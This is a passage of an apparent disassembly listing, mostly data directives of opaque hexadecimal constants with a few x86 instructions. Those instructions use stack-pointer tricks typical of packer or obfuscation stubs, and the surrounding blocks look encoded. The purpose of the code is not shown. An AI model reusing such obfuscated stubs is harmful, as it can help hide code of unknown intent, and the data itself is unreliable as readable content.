6B2CCFD0h, 696B3AB5h dd 0B6FC13F6h, 4BE54CF3h, 7579DB1h, 0B47BD954h, 84AB7A30h dd 62F00BBDh, 0DF3D67BFh, 0A1946316h, 0BEF00BBDh, 0C8681E6Eh dd 99CB0906h, 0C446h, 18DB6200h, 5ED98Ch, 97F5AB39h, 0D77336D0h dd 0E7378715h, 6CEB6534h, 15D8F60Ch, 7B490C87h, 0D7FACECFh dd 60BE0AC0h, 6D5C0F9Dh, 0CD9C1751h, 0FC139EB7h, 0CE521977h dd 3B15CB1Bh, 0C6249FEBh, 0D3C278FEh, 33027DEBh, 0FA113977h dd 0A3017CCCh, 7FDD58DCh, 28782BB9h, 30AB2672h, 2F6D261h dd 181BEAF6h, 45F602F6h, 15CB1BF5h, 564F0B7h, 0B4CBAD7Bh dd 0D86DC8Fh, 100000Ah, 0E6CB854h, 1472BE4Ch, 1775C14Bh dd 1775C16Bh, 8E78C450h, 0DF652C6Dh, 0E76D3593h, 0E9773D9Bh dd 0F07C3F9Dh, 0E7B631A4h, 0F000FA54h, 0BE462A09h, 580B9960h dd 2DF45208h, 3AFD5BA7h, 0E9B833AEh, 0F60C674Ah, 0C10DC313h dd 8C18DBDDh, 3E005ED9h, 0D99CFAB0h, 67E25120h, 2B7BF60Ch dd 6AE560DBh, 0C67989Bh, 0A675C5F6h, 0F60C6797h, 67E55827h dd 2A7AF60Ch, 0FE4A0050h, 0E3ABAF0Fh, 67DC5F2Eh, 3181F60Ch dd 0DD02EE1h, 2C7CCC7Fh, 0FE9261DCh, 47FC139Ah, 0CB7544F7h dd 2DF00B55h, 21E3B08Ah, 6199CA5Dh, 64Dh, 9960BE7Dh, 5208580Bh dd 920D5B63h, 137175C3h, 0DF92E2FCh, 0B6D2110h, 0A24C7F0h dd 0CA34BB7Dh, 627FB99h, 4A170000h, 9523E674h, 0C74292E2h dd 13715CF8h, 0E661B1FCh, 8235BF88h, 0FAC97C32h, 0F00B6E37h dd 994CDA9Ch, 3DF0743Bh, 817ED87Bh, 0EEBD9538h, 99CA342Ch dd 5F06Ch, 0F2808800h, 111E4DAh, 656954FEh, 8B4EC919h dd 0F0B618FEh, 9C5FAF62h, 0D88EF34Ch, 0F04E8E5Dh, 7FCFFC13h dd 57DDA604h, 1371ECA1h, 65EFB767h, 5C126215h, 26098B8Dh dd 0B1B70784h, 955DBB36h, 0AE0C5C0Fh, 59A95C02h, 20B4D4A3h dd 0B1017601h, 46AF0FFEh, 7F369CFDh, 41108B99h, 7A1940F2h dd 50CB1B6Bh, 687CB81h, 59D42470h, 0FAAD4FFBh, 0C600E7AAh dd 3EE4CCF7h, 0CF920D88h, 86E6C09Fh, 0DEA60492h, 9F55A558h dd 0F8C77E41h, 7C1E4B45h, 0FF7ACA1Ah, 6EB7213Ch, 863C22BEh dd 8B19DC3Ah, 0C7A55E2Ch, 0AF05B82Ah, 85Ch, 1B6705B2h dd 216DFBBDh, 2672FAC3h, 26721CC8h, 277301C8h, 14DB1C3Dh dd 1EE64490h, 28EE4C98h, 2DF04E9Ah, 65E0539Fh, 0F9A796h dd 0F5D9B8F0h, 0D98C18DBh, 0B69D4EAh, 0B606B943h, 0C6754E7h dd 69B909F6h, 2971FEEh, 0ACFCFC19h, 730BD331h, 22D828ACh dd 0F2E807D6h, 5FE7F000h, 66B23E01h, 0AB266077h, 0F2A1DCh dd 0BBE0EF0h, 125EEAADh, 0F20C43h, 0A12FF5F0h, 0A834F755h dd 531C7AF5h, 0FD4413C9h, 67F000CDh, 9C5F6AC4h, 88C7FD9Dh dd 58A83C62h, 22BC7FDDh, 0D184D45Ah, 47FCB81h, 157BBA89h dd 94E40FFFh, 2FBD80DEh, 582AD7Ch, 9E190FFFh, 0F325A4DBh dd 40093971h, 13B66CBCh, 5DEBAE3Bh, 0FABB11h, 0DBD70000h dd 7BD98C18h, 0AD7C2FB5h, 0F60C678Eh, 49FC884Bh, 2DF6645Ah dd 0AA79F4A7h, 0F60C678Bh, 0E43484D4h, 0A473EE69h, 0F60C6791h dd 0F9C87ECEh, 0FC1902B1h, 296BCA1Ah, 0DDAECDA5h, 752D42Ah dd 0FBC0000h, 1C3216Dh, 0C92773h, 26D2307Ch, 17DE3C88h dd 32533D89h, 62AE32F9h, 66B23C04h, 68B44208h, 6DB9470Ah dd 8DB07FFAh, 0D2F000F8h, 18DB0FF3h, 0B47BD98Ch, 0C086E430h dd 0D6BE632h, 0A907BD4Bh, 0B00E5AE6h, 65E05BE9h, 0C67A796h dd 0DFF5B8F6h, 0E2243263h, 21D48ADAh, 0C578FCC3h, 642A8803h dd 25DB2BDEh, 561DA882h, 0BB6DD09Fh, 0A2F2F60Ch, 0CD79D752h dd 8D2D792Fh, 93C40ACBh, 160Bh, 61E32700h, 68000000h, 0ABD430Ah dd 677DC08Fh, 92E2F60Ch, 0DBA88C42h, 0AD98C18h, 0F60C7727h dd 6E7BD376h, 73D11DABh, 0A57427ADh, 0F60C779Bh, 3B86A043h dd 0BFA3EF75h, 0DC8F15DBh, 772AB87Eh, 0AD3812B5h, 3E0D59E7h dd 0F60C7005h, 329758F8h, 0E8D793C3h, 0F3FFFFFEh, 35CE3h dd 1EED6800h, 0F60C671Fh, 563AF040h, 0D98C18DBh, 0C68D70Ah dd 0A5037EF6h, 0F98749DDh, 0F3A6F646h, 0F04AEDA3h, 814C05C8h dd 31AC507h, 0A02CEF4Dh, 7705C725h, 541775C1h, 0D79A15C8h dd 2A1B40FCh, 8B52B0C1h, 4C025205h, 0C97427Dh, 8B412F6h dd 0F47EA366h, 2A729411h, 0C5531674h, 0CD9B2312h, 2A3B8352h dd 4090FC19h, 0CD8CBDE1h, 489E51AEh, 600h, 6FBB610Eh, 75C14F11h dd 7AC64E17h, 82CE701Ch, 8BD75D24h, 804780A1h, 824AA8F4h dd 8C52B0FCh, 995CBA06h, 0D14CBF0Bh, 0C63302h, 694D2CF0h dd 926118DBh, 0F60C67A3h, 691C6CBCh, 91A473EEh, 0CEF60C67h dd 691CAA70h, 0BF6BC919h, 4209671Dh, 0AC5FEDB0h, 282B995Ch dd 1E00583Eh, 612482CEh, 32FA58D3h, 4CAAF6ACh, 0EE4CFF85h dd 24E69927h, 551CA981h, 0C174F8C1h, 35D52171h, 93C3EA73h dd 264B3h, 43BECF00h, 0C67C174h, 9F12B5F6h, 60F8AA85h dd 91803686h, 0BE8D4046h, 0F4FBE161h, 119EB85Bh, 92B1A44Fh dd 23C8Fh, 8D4AAB00h, 0F2BB7EF9h, 0B91F4580h, 35850FD7h dd 635047Fh, 0B6F60CE0h, 0F7949558h, 6241980Fh, 76C679C9h dd 0E396E6C0h, 0FB463F14h, 0A88225F4h, 87B68500h, 0D808E2B9h dd 7032D288h, 0B092B209h, 1F9h, 868D4ACCh, 5D650612h, 40BB0B31h dd 0E6BB67C5h, 0C0F2417h, 99E939F6h, 0FEC4F1Eh, 2171F60Ch dd 0F9D9C6Bh, 7ACAF60Ch, 69894CC7h, 59DC1C72h, 8499681Eh dd 7EF4FB31h, 723443DBh, 0B292B1D4h, 1B5h, 7443BECEh, 0F60C67C1h dd 0A9984E9Eh, 0EDD582Eh, 0F60C68D7h, 0F6DE838h, 570AC04Ch dd 2FB57EDCh, 105FB97Ch, 0A8AB62B2h, 7ED3A258h, 64F4FBB3h dd 581A69C1h, 9892B156h, 179h, 7443BEB4h, 0F60C67C1h, 3A984E9Eh dd 0D836E977h, 0C03B8715h, 5D139962h, 9D18506Eh, 15CEBADAh dd 0C6BF746h, 551868F6h, 4E046846h, 0FDCC04D3h, 1D98FC13h dd 0A06F4F5Ah, 0A978BB72h, 0F00B868Ah, 4D008C4Fh, 1DD323FDh dd 7140F343h, 0F00B86CEh, 0DEAD8528h, 99CB0C1Ch, 335Ch dd 0BA83E100h, 4A987C32h, 0AA79F474h, 0FC13752Ah, 117AB073h dd 0AED7080Dh, 0D230AB5Eh, 81D1840Ah, 0EE35FCCBh, 10B3F00Bh dd 0B7A76936h, 0C6E799CAh, 3000000h, 0D98C18DBh, 3605B47Bh dd 0F60C6707h, 0F2450858h, 95A6456Eh, 0D6991464h, 6366EB2Dh dd 0BE7127B7h, 940F9D60h, 70F4BB19h, 9F9E6DBDh, 0C0F60C93h dd 0A907BA70h, 0F9834CE6h, 9422E846h, 0F14191E1h, 51AF2AA5h dd 45407A5h, 0C930635h, 36F957F6h, 0D5A45AAAh, 0F60C985Bh dd 3C96528h, 66E12D7Dh, 31A55EA3h, 28DE2F28h, 68E38539h dd 3CC88FEDh, 7975B786h, 7ACAFC16h, 56DAA1FFh, 5FE5AC0Ah dd 0D07DA800h, 0B50BBEAEh, 374h, 34FED9Ah, 955E3A5h, 0E5AE2ABh dd 0E5A04B0h, 0F5BE9B0h, 0FCC30425h, 6CE2C78h, 10D63480h dd 15D83682h, 4DC83B87h, 0C4BF7Eh, 0DDC1A0F0h, 449014DBh dd 499523E6h, 8C18DB65h, 2CB87BD9h, 672F11E0h, 9B23F60Ch dd 31F452CDh, 0EAA0F0A3h, 836CA06Fh, 73D1FC13h, 87D323B1h dd 8C18DBA3h, 2CB87BD9h, 9BCDF1E0h, 74FAC220h, 3C7443BEh dd 89FC136Ah, 50FBBE39h, 38BE84A5h, 0B3723585h, 32F9574Ch dd 7645F8AEh, 0F00B2CCBh, 8B08A2Dh, 51CE0645h, 0C177D7D1h dd 0CA315F21h, 259F99h, 4ABB0000h, 0AA79F474h, 0FC13752Ah dd 0A1702373h, 0F00B6A9Eh, 339DB558h, 0D08612D5h, 0CA3C6E30h dd 0FAAE99h, 0DBCA0000h, 5ED98C18h, 0F8AB3900h, 0CD94F2A8h dd 73369447h, 11D432E5h, 0E8683783h, 0D9F60C6Ch, 24D11716h dd 0CA248D84h, 1ADDD719h, 3100EFA7h, 0F60C6A02h, 6BBB0B5Bh dd 67E1A41Fh, 0E84DAAE9h, 8E8423Eh, 3E959E45h, 0EB3BEE7Ch dd 0C487E59Bh, 8EDE642Ah, 66F2B513h, 0FAAD63B3h, 3AB5B30Bh dd 1321AD6Bh, 2FAAFAFCh, 0BB7B246Ch, 0BDE49ECh, 3C616F0h dd 71279BE1h, 0E0883625h, 8A589665h, 53B1FA11h, 0A82CF38Bh dd 2F8D0858h, 3290DC68h, 703FBA6Bh, 0F60255CDh, 0C0734292h dd 9DF60255h, 149EFD4Dh, 0F2B4CC0Dh, 202E93Fh, 5F0C0000h dd 511371BDh, 501977C3h, 762280CCh, 672E8CD8h, 82A38DD9h dd 0B2FE8249h, 0B6028C54h, 0B8049258h, 0BD09975Ah, 3D00CF4Ah dd 22F000C2h, 14DB5F43h, 0E1BF961Dh, 85D56E0Fh, 59E3AC0Ah dd 54A056A6h, 303233F6h, 696376h, 9F83CF1Fh, 79F4744Ah dd 1AD0541Bh, 75CCD09Fh, 52B0FC13h, 7650068Ch, 9DA47326h dd 5BF00B6Ah, 0D8369EB8h, 2CB27A16h, 0C48626DCh, 499CA3Bh dd 0B8h, 5DE9C689h, 71968D2Ah, 18DBD7BBh, 0B47BD98Ch, 83D35922h dd 6C0F01D0h, 31F4F60Ch, 61DC57A3h, 0C63A392h, 0E94C1BF6h dd 76F60C63h, 46FC4C26h, 0E49725E8h, 0A574C9F5h, 0F60C6396h dd 0AC2777C7h, 138F3BDDh, 0A11C6CFCh, 41F77D43h, 0B0B806F5h dd 288B6635h, 0ACFCFA11h, 880CD331h, 5DE7AF0Dh, 0FCAF3DFFh dd 4CAAF6ACh, 1CA0FF85h, 0FAB4CBBFh, 10EF147h, 53000000h dd 3DFF5DA9h, 3C0563AFh, 620E6CB8h, 4B1270BCh, 6E8F79C5h dd 8EDA662Dh, 92DE6830h, 9CE86E34h, 0A1ED7B3Eh, 51E4B32Eh dd 0EF000C1h, 14DB4B2Fh, 23E64490h, 70571A95h, 13DDA7CAh dd 2509550Bh, 0E66118DBh, 0C672417h, 1AE939F6h, 0F60C671Bh dd 971DE644h, 0E64494E4h, 8F429220h, 96E26E31h, 0D65117A7h dd 67A98C5Bh, 66B6F60Ch, 3FBA35B0h, 0C67CD70h, 8C4292F6h dd 1902E9BDh, 4F0252FCh, 27A22EF1h, 815D6E64h, 8F52D88Ch dd 1CA48EF1h, 0CC18CEADh, 10618E51h, 44F5BE32h, 0B46D308Eh dd 4456E5h, 67B707F0h, 3ECC8EECh, 4441F4C3h, 0CE1EF000h dd 1A966518h, 0CD2B06CEh, 4AA8102Ah, 0E644FA88h, 0EB499523h dd 32C68E28h, 0DE2EE16Fh, 3B8BDB8Eh, 0ECAF0D88h, 0A75DAD60h dd 84FF9D49h, 22D85E26h, 0E560DB6Fh, 0FEC12716h, 32E838C6h dd 672AB78Fh, 6C2F8DD9h, 0DD72DE0h, 0F3000000h, 0C17443BEh dd 9EF60C67h, 0C8AC984Eh, 0DB8E2EDBh, 7B2EBA7Dh, 16C9571Dh dd 0B366F0B8h, 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h dd 0CF8210D2h, 5954517Eh, 4C181h, 0E9830000h, 240C8704h dd 0E189515Ch, 4C181h, 0E9810000h, 4, 5C240C87h, 57240489h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0BE56243Ch, 60C9AD4h dd 835E5856h, 248904ECh, 24048124h, 4, 4EC835Fh, 89241C89h dd 85F89C3h, 243C8B5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5438DD ; --------------------------------------------------------------------------- db 0F3h dd 99DFE30Bh, 690D7A12h, 657289E5h, 0A758B813h, 0C503060Ch dd 4CFEE0FFh, 5A2926F7h, 8C98758Ch, 0DFDE5D75h, 67744ADBh dd 8A9F74F1h, 3D8B3E98h, 56AC4534h, 1CA11276h, 502C6734h dd 99A44F66h, 92370F06h, 7D034B35h, 721075CEh, 2C456C43h dd 54BC3336h, 3CD111CEh, 636F0604h, 765038D1h, 51785C1Fh dd 41E00817h, 0E93036A7h, 0FD346C00h, 0F3A61686h, 0C08B6191h dd 3FDA8166h, 38C0FC4h, 66000000h, 0BD83DF8Bh, 6070211h dd 83097500h, 70D65BDh, 19740006h, 0C08B5350h, 3FCB8h dd 2D858900h, 8D060730h, 9AAA89Dh, 5BD3FF06h, 65BD8358h dd 6070Dh, 53501774h, 3FCB8h, 2D858900h, 8D060730h, 9A7979Dh dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0F38133C1h, 2184C26Ah, 0BD83C08Bh dd 60732B1h, 65840F01h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 3D78C357h dd 436134E1h, 17B1BD83h, 0F000607h, 3785h, 0A4EF8000h dd 0A67383BBh, 29BD8350h, 60701h, 82840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 648A01C3h, 0AE6CBB66h, 443E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 2BD0EFFAh dd 84E00C7Ah, 0DB8025D7h, 3Ah, 1880F00h, 0F5000000h, 5E9h dd 0EE663500h, 0E8579BFCh, 14h, 2FD7E3Dh, 3564333Dh, 11E99F62h dd 6EEBA7DFh, 4B532F79h, 5A5A6160h, 1BB7053Ah, 0B1A9B6D7h dd 0B1C058BEh, 0EAE3B0F6h, 0ED4AEBB8h, 0F542B499h, 0B1DAB4FAh dd 0E280B06Fh, 55C7C174h, 5865B67Dh, 0B1C3B0E1h, 47111F6Dh dd 313A368Eh, 0A85B8AE9h, 0FB493553h, 0B1A9B665h, 0B1C058E6h dd 0E8E3B0DBh, 0FD4AE92Eh, 0F542B4D2h, 0B1D8B45Fh, 0E082B0BDh dd 65CD291Dh, 0A80FCE45h, 0B1C45930h, 5E4CB0DBh, 3F00D7B2h dd 0DB134F7Ah, 0B22BE77Bh, 91C3B0BDh, 389C7381h, 30C79413h dd 0A4C794F3h, 0F6C3B0DBh, 909073BAh, 0B1C3BE1Eh, 7A38A07Bh dd 9E162D3Ch, 0B384C3E1h, 0BE08E3C0h, 58986E00h, 0B1C3B46Ah dd 5991B087h, 0B1C3B0F5h, 0EB00EA5Bh, 0B5E7E434h, 0B5E7F45Fh dd 0B1C3B076h, 0B700E2F5h, 1A856CC4h, 0B12BE59Bh, 0ECC3B0F6h dd 1BB95DFAh, 0B1A9B6B1h, 0B1C0588Ch, 0EBE3B06Fh, 0E54AEA74h dd 0F542B4FFh, 0B1DAB4C9h, 0E381B0F6h, 9527E2B8h, 58460EC1h dd 0B1C3B0DBh, 6FCCF279h, 0BA5D016h, 0D7A2B6A7h, 5CAC736Ch dd 0B1C034F9h, 6B43B07Bh, 0A033BFAh, 0F2B9E7AFh, 385C073Fh dd 0B92A94B3h, 3BC3B0DBh, 4DFC62C3h, 0E673360Ch, 0FDC2BF20h dd 0B1A94E99h, 0B1C0588Fh, 0E8E3B06Fh, 0FD4AE974h, 0F542B4FFh dd 0B1D5B4C9h, 0E082B0F6h, 0F2F971B8h, 6848E841h, 0B1C1BCDBh dd 0B1D3596Fh, 8E27B0B7h, 4125A105h, 0A30E43BAh, 0D05CDAF0h dd 0B94800CFh, 3AA5FD0Eh, 0B1A94C96h, 0B1C0583Eh, 0E8E3B0B7h dd 0FD4AE918h, 0F542B4C9h, 0B1DFB4D2h, 0E082B07Bh, 0CD5957Eh dd 0E09528EFh, 30A347D8h, 0BFED616Ch, 0D0F305A8h, 0B1C3A004h dd 0BCF4EEF6h, 50C2B99Fh, 5FCEAEDh, 993BA678h, 0B1C20834h dd 0B1A9B0B7h, 0B1C0588Eh, 0ECE3B0EDh, 0DD4AED35h, 0F542B45Fh dd 0B1D8B499h, 0E486B0DEh, 0EFBC85ACh, 6F152E34h, 6E74BFB1h dd 38123BBDh, 30A594FAh, 0D7EF6088h, 6E486931h, 0BEC77128h dd 0B1C2DAEAh, 0E0C3DAB7h, 0B1C3B333h, 729A90EDh, 958F39AFh dd 9587317Fh, 0B1C3A5B9h, 7292F1DEh, 35CC601Fh, 0B1C3B09Fh dd 0B1C458BBh, 0F19EB0EDh, 0A3A5D117h, 0A52AE86Ah, 6EC3B0BDh dd 74B0952Bh, 0F388580h, 8D806CBDh, 0E1BE89Fh, 0D053D49Dh dd 0B1C3A21Eh, 97D3BE7Bh, 16E36F09h, 0D444AD5Ch, 6D694D79h dd 4D5978D4h, 0B1A9E981h, 0B1C058BCh, 0E8E3B0F6h, 0FD4AE9B8h dd 0F542B499h, 0B1D7B4FAh, 0E082B06Fh, 3AA59B74h, 0D9FA3008h dd 0B09035E2h, 0B1A9B0F6h, 0B1C0582Bh, 0E9E3B0BDh, 0F54AE81Dh dd 0F542B44Bh, 0B1D6B493h, 0E183B0DBh, 3AE3782Eh, 0B1A9B18Fh dd 0B1C0582Ch, 0EEE3B0BDh, 0CD4AEF1Dh, 0F542B44Bh, 0B1D7B493h dd 0E684B0DBh, 5B431A2Eh, 0B13C31DBh, 0BE43B07Bh, 0B1C2B83Fh dd 0E6C3DADEh, 0B1C3B387h, 729C90B7h, 95BF3984h, 958731E9h dd 0B1C3ACF2h, 7294F77Bh, 0D0A0B305h, 45D743CEh, 87550BB3h dd 34049C9Eh, 0B7CF19A3h, 0B1C3B0ECh, 0B1C53CF9h, 6242B07Bh dd 0A06E9FA3h, 0B1C37B37h, 0E6C3DA6Fh, 0B1C3B35Fh, 729C90DBh dd 95BF39B2h, 958731F2h, 0B1C3AC7Fh, 7294F7BDh, 22F3449h dd 89E0C3B4h, 2B2A4555h, 0DBC3B0DBh, 0B22BE1EDh, 91C3B0F6h dd 389A7322h, 30C794F1h, 0ABC7949Ah, 0F0C3B06Fh, 9A2473E6h dd 0FB0FF128h, 0E81C3B47h, 5995B09Ch, 0B1C3B078h, 0EF00EE9Dh dd 0B5E7C457h, 0B5E7F4EEh, 0B1C3B0A0h, 9900E69Dh, 0D74B3285h dd 4EC8C975h, 0B1883474h, 0B1A9B0BDh, 0B1C0588Dh, 0EAE3B06Fh dd 0ED4AEB74h, 0F542B4FFh, 0B1D5B4C9h, 0E280B0F6h, 48A9A0B8h dd 0B1C3A254h, 7549D1DEh, 2F30A227h, 59545F1h, 0CB93F154h dd 761A432Eh, 0BD6AC873h, 0B1C3B17Dh, 0B749BFBDh, 0E7C3B0DEh dd 685E0B09h, 4242F8EDh, 0FBCA65D3h, 0A03E2654h, 0E2463DBAh dd 3CC5BCD4h, 0BD6E1F00h, 0C53B8BD8h, 60CC8068h, 4428F77Eh dd 36CC0ABDh, 321A3B8Bh, 0B6F1014Bh, 35CCB17Dh, 0B1C3B0DDh dd 7E3327h, 0B1C5B778h, 0B19135B8h, 36CCB0DBh, 0B1C3B0FFh dd 0B1C3BD1Fh, 42E9537Bh, 0CDAF012Bh, 1D9B48F8h, 0C40AF53h dd 0B7C4B19Eh, 0E647BFDBh, 0DBC3B0EDh, 0B22BE7F6h, 91C3B07Bh dd 389C73E2h, 30C794A2h, 0A7C7942Bh, 0F6C3B0B7h, 80DE738Ch dd 0B1C95995h, 3FA5B0F6h, 1B73C4A2h, 52E914Ch, 0B1C36C37h dd 0E4C3DA6Fh, 0B1C3B35Fh, 729E90DBh, 95AF39B0h, 958731F2h dd 0B1C3AD7Fh, 7296F5BDh, 0EF88199Eh, 0B827BD58h, 0C4051B6h dd 0B7C4826Ah, 0DE46BFECh, 0DBC3B0F6h, 0B22BE17Bh, 91C3B0BDh dd 389A7387h, 30C79423h, 0AAC794F3h, 0F0C3B0DBh, 0CECF73BCh dd 417EFF19h, 5A43D7FFh, 0B347BFCDh, 2C3B0DEh, 0B1A9ED7Fh dd 0B1C058E6h, 0E8E3B0DBh, 0FD4AE92Eh, 0F542B4D2h, 0B1DFB45Fh dd 0E082B0BDh, 44F7651Dh, 0FB54E283h, 3ECCC5B4h, 0B1C3B0D9h dd 95714067h, 0F72A4835h, 31C3B07Bh, 0BEA3C64Bh, 6CC6F69h dd 0DB9ED1A1h, 0B22BE6B7h, 91C3B0DBh, 389D73B3h, 30C79482h dd 0A9C7943Fh, 0F7C3B0BDh, 7EC07388h, 586B6350h, 0B1C3B0B8h dd 44AF4891h, 9E67D459h, 68CBD262h, 7EB6AE65h, 422931DBh dd 1A7E3DFBh, 3CC5BCC6h, 0BD6C903Ah, 0EDDE08DDh, 34F0CBD7h dd 0B7C4B35Fh, 58027F50h, 0A03E2654h, 0E2463DBAh, 3CC5BCD4h dd 0BD6E1F00h, 0C53B8BD8h, 60CC8068h, 5E9837Eh, 0BD83A4F3h dd 60CA978h, 8D0D7400h, 74B4A8Dh, 1B806h, 0E1FF0000h, 0AE85140h dd 0CD000000h, 5DC7F6A4h, 6B661813h, 5A2EB6A9h, 6AF55Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 1E0E83C3h, 59E50A5h, 5024EB81h, 0E8836983h, 9DF802Dh dd 0DC06BB66h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0FB99A6C3h, 822A10C2h, 8DE381C2h dd 83160F4Ah, 70211BDh, 9750006h, 0D65BD83h, 74000607h dd 8B535019h, 3FCB8C0h, 85890000h dd 60723A9h, 0AB0F9D8Dh, 0D3FF0609h, 0BD83585Bh, 6070D65h dd 50177400h, 3FCB853h, 85890000h, 60723A9h, 0A7B09D8Dh dd 0D3FF0609h, 0DF80585Bh, 57006ABAh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0FDBE24BEh dd 0AE9h, 19733900h, 24EA61Ch, 8B8DE8B0h, 8D8DC0h, 33060CB1h dd 71A4D85h, 18D8906h, 6A06070Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0F061C350h dd 958B9D18h, 6071C2Dh, 14A585C7h, 59700607h, 13E90000h dd 69000000h, 6FF06E70h, 0FCEF96B9h, 79FA118Ah, 0C38D6D53h dd 85C7F9ACh, 6072FD5h, 0 dd 0E624F7B8h, 0D78B666Ch, 0CDDB5FFh, 9D8B0607h, 6071AFDh dd 0DE9h, 0C03F4600h, 92B06C45h, 0B7D7363Ah, 95FF62ADh dd 6071C19h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 44C35040h, 0FCBA12D9h, 21CDB58Bh, 6A0607h, 1B6995FFh dd 0C08B0607h, 21CE48EBh, 628077ACh, 62998FFCh, 0B390989Bh dd 0E88FE5BFh, 137C6732h, 6BA6B369h, 74199B69h, 951B0370h dd 1CC77FF4h, 94700F14h, 0DA899DCDh, 3ECB47Dh, 586F69B7h dd 0A92DA69Dh, 298C87FEh, 9F761A8Eh, 158139Dh, 8D8D1BA2h dd 60CB1F8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 42C35646h, 8166CC69h, 3172D8D7h, 715B1B5h, 18D8906h dd 0E806070Ah, 9, 802B67Eh, 0F8CDB179h, 0A59D89A9h, 5A060732h dd 0A585C7F9h, 14060714h, 8B000073h, 72381B5h, 0D585C706h dd 6072Fh, 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 2BDC351h, 0D5602C7Dh, 0BD238614h dd 6070A85h, 214DB5FFh, 0BB660607h, 95FFF4AAh, 6071C19h dd 19D98523h, 6A0607h, 1B6995FFh, 0C08B0607h, 0B7091BEBh dd 0D235D49Fh, 0CE661514h, 9E40B4B1h, 54076435h, 6AF9C063h dd 0AE5A6998h, 98E951h, 940000h, 50000h, 10000h, 0A280000h dd 20000h, 20h dup(0) dd 8D9A0000h, 3AE9530Ch, 6800000Bh, 60CB43Fh, 0FAC9C0E9h dd 0B54568FFh, 0B6E9060Ch, 68FFFAC9h, 60CB688h, 0FAC9ACE9h dd 0B71968FFh, 0A2E9060Ch, 68FFFAC9h, 60CB869h, 0FAC998E9h dd 0B8CC68FFh, 8EE9060Ch, 68FFFAC9h, 60CBB8Ch, 0FAC984E9h dd 0BC6468FFh, 7AE9060Ch, 0E5FFFAC9h, 0EA489438h, 0F04E9A28h dd 0F3519D27h, 0FB59A547h, 7A64B034h, 0CB592059h, 0D359217Fh dd 0DD632987h, 0E4703391h, 0DBAA2598h, 0F000D458h, 0DB422605h dd 7BD98C18h, 0F1E02CB8h, 51209BCDh, 0FC136A1Fh, 1BA169C7h dd 883B8B65h, 6ED94A0Dh, 0F978F52Ah, 0C3CD7443h, 0B02BF00Bh dd 4F029052h, 0C33605D4h, 0D727F00Bh, 142ED187h, 0CACEC587h dd 3C0599h, 2C8A0000h, 7903CB63h, 732676C6h, 4A896D23h dd 3BFAC974h, 24F60C67h, 8E0984D4h, 27DD6730h, 13754458h dd 0B37BD9FCh, 5726D929h, 0F00B6AE8h, 0C4D36B0Eh, 99CA3C02h dd 0CE42h, 18DB5E00h, 792CD27Eh, 7F05CB29h, 792C7CCCh dd 0BE5D541Bh, 2540C9D2h, 35404306h, 0A0E05A8Fh, 7C3F9D50h dd 1CDF3DF0h, 4D754490h, 22F60CB2h, 2785D15Fh, 0AA25D864h dd 43F9834Ch, 83FE6A54h, 60FEAA08h, 4281DBAAh, 90EEFC13h dd 9EEA3AE4h, 0DE590FAFh, 792FBD80h, 0F8682FFEh, 6DBDFA11h dd 95A877F2h, 46F60227h, 0EF3FF280h, 940FC515h, 6D0FBB19h dd 0E9259B7h, 179D64C2h, 0CC16F4B8h, 95F12B4h, 912h, 83CF6D1Ah dd 89D56325h, 8EDA622Bh, 8EDA8430h, 8FDB6930h, 7C4384A5h dd 864EACF8h, 9056B400h, 9558B602h, 0CD48BB07h, 0D33FFEh dd 5D4120F0h, 891D14DBh, 94EADCEEh, 76D42070h, 4CAA25B3h dd 0FD4D0086h, 0BE17FB47h, 5C0F9D60h, 5767560Ch, 0D5C79611h dd 4AFC1375h, 0C97847FAh, 2FF00B6Ah, 18F56B4h, 0A548FE4Eh dd 3C3CFE8Dh, 0C18499CAh, 9D185AD5h, 0F4772D31h, 0DAh dd 8C18DB10h, 14E35ED9h, 0F60C6721h, 0DA38EE3Eh, 0BDA8D13h dd 0F60C6CA3h, 5E25C184h, 7FCF1FD2h, 47E3A604h, 0EFA5F57Fh dd 0CB8245A3h, 5120A46Dh, 0F60C63E2h, 28DB2B7Bh, 0D06332ADh dd 8DF60C63h, 2DE06C2Fh, 0A2CA8DDDh, 53DCF5BAh, 3985742Ah dd 8FE5B42Fh, 0E0FC13C9h, 69554490h, 3244658Ch, 85D5B031h dd 0E18F3B0Ah, 0A4F4FA11h, 8004CB29h, 78BB8A05h, 0E5F6022Eh dd 3593DF95h, 3383E26Eh, 0DBB4CC0Eh, 80CD228h, 73200000h dd 5D1F7DC9h, 5C2583CFh, 822E8CD8h, 6B3290DCh, 8EAF99E5h dd 0AEFA864Dh, 0B2FE8850h, 0BC088E54h, 0C10D9B5Eh, 3104D34Eh dd 2EF000D2h, 14DB6B4Fh, 0F0B71590h, 0E762AE64h, 679E9D6Ch dd 44BFF60Ch, 0C67C675h, 0F74797F6h, 9420E341h, 60BE6448h dd 0F9570D97h, 42D69C36h, 0EF3FF280h, 0F17F419Fh, 0EB9EEE3Eh dd 0F23ECA8Dh, 0E2DFC77h, 4FF60C67h, 645A49FFh, 92BA8904h dd 0FBFC191Ah, 0FD230ABh, 0A7663581h, 77F000DAh, 18CB5119h dd 0BD700EBAh, 78671D6Dh, 0E9AC275Fh, 1B44861h, 0A331F3A0h dd 98519D53h, 8CCEF008h, 0E46831C5h, 0DE91E131h, 48C33E8Eh dd 793FFECDh, 0C437F000h, 0DB4CD329h, 1ED424FEh, 1FE80D4Fh 